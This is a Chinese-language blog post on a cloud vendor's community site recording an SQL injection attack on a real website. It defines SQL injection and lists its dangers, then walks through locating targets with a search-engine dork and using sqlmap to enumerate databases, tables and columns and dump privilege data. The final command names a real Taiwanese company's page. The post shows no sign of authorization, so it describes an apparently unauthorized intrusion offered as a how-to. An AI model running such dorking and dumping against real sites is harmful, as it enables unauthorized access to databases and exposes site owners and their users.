前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记录一次对某网站的sql注入

记录一次对某网站的sql注入

作者头像
干掉芹菜
发布2022-11-19 14:38:46
5690
发布2022-11-19 14:38:46
举报
文章被收录于专栏:网络安全615网络安全615

目录

一,SQL注入是什么

 二,SQL注入危害

 三,对某网站的实测记录

1.使用bing搜索site:tw  inurl:php(site指定区域,inurl:url链接包含的内容)

 2.打开网站发现存在一个id=xxx可能存在一个sql注入漏洞

 3.使用sqlmap工具进行注入检测

 四,总结

一,SQL注入是什么

攻击者把 SQL 命令语句作为输入被服务器 SQL 解释器正确解析执行,数据库把查询到 的结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。

 二,SQL注入危害

数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。 网页篡改:通过操作数据库对特定网页进行篡改。 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 SQL注入是危害WEB安全的主要攻击手段,存在SQL注入攻击的网站一但被攻击成功 后,产生的后果将有可能是毁灭性及不可恢复的。

 三,对某网站的实测记录

1.使用bing搜索site:tw  inurl:php(site指定区域,inurl:url链接包含的内容)

2.打开网站发现存在一个id=xxx可能存在一个sql注入漏洞

 3.使用sqlmap工具进行注入检测

1)python sqlmap.py http://xxxxxx --batch    (batch采用默认配置对提示进行设置

发现存在一个get注入漏洞,那就可以直接进行get注入 

2)查看数据库信息

 python sqlmap.py http://xxxxxxxxxxxxxxx --batch --dbs (--dbs获取对方数据库所有库的名称)

 发现存在两个数据库

3)查看数据库中所有表

python sqlmap.py http://xxxxxxxx --D information_schema --tables (获取information——schema库下的表)  

 4)查看表中的字段

python sqlmap.py http://xxxxxxxx --D information_schema -T USER_PRIVILEGES --columns (获取information_schema表,T USER_PRIVILEGES表中的字段) 

 5)爆破users表中特殊字段的信息

python sqlmap.py http://www.diffuser.com.tw/page.php?id=116 --batch -D information_schema -T USER_PRIVILEGES -C "GRANTEE,PRIVILEGE,IS_GRANTABLE,TABLE_CATALOG" --dump (导出数据指定的数据)

 四,总结

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试 语句被执行了,说明存在注入漏洞 按参数类型分类,发现该网站输入数字型注入

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-09-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • 一,SQL注入是什么
  •  二,SQL注入危害
  •  三,对某网站的实测记录
  •  四,总结
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档